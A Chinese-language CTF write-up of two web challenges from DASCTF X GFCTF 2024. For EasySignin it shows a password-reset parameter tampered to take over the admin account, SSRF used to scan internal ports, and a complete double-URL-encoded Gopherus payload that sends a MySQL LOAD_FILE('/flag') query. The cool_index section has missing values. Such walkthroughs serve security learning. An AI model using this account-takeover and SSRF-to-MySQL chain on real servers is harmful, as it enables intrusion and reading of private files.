DASCTF X GFCTF 2024 web-部分题解
cool_index
这道题算是原题，在UofTCTF 2024 里面的原题。
代码的一个函数导致我们可以访问到flag
具体是
通过将值修改为或任何其他类似值，我们可以访问包含flag的文章
EasySignin
首先注册一个用户，然后登进去之后，有一个更新当前用户密码
点进去后用burp抓包，
这里有一个username选项，那么就可以想到把它改为admin，是否可以更改admin的密码（前提是，在注册的时候发现admin已经存在，并且知道第一个界面里面的康康图片普通用户点进去无法查看
admin的密码被改为了1
直接拿去登陆
登录成功
进去第一个按钮发现
http://06951694-5ec4-40fc-97ba-fd2e12d1f600.node5.buuoj.cn:81/getpicture.php?url=https://tvax3.sinaimg.cn//large/a15b4afegy1fmvjnzrddqj21hc0u0wry.jpg
这很明显应该是ssrf，通过参数获取其他页面的内容
这道题还ban掉了一些函数
file协议和dict协议，无法读取到本地的文件，然后下面可以使用
http://127.0.0.1:8888
来探测端口
在burp中爆破端口（buu里面把线程调到最低。
爆破后发现开放了3306端口，（过程有点慢我就不演示了
然后知道了有mysql后，立马想到用gopherus打mysql
开始的时候在这里误入歧途了，直接去数据库里面找flag了
找到一大圈发现哈也没
最后发现可以直接使用SELECT LOAD_FILE('/flag');
读取flag也是破大方了
把下面的数据再次进行url编码后传到url参数后面，然后得到base64加密的数据，解密之后就有flag
payload
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%33%33%30%36%2f%5f%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%31%62%25%30%30%25%30%30%25%30%30%25%30%33%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%34%63%25%34%66%25%34%31%25%34%34%25%35%66%25%34%36%25%34%39%25%34%63%25%34%35%25%32%38%25%32%37%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
后续题解等大佬
文章评论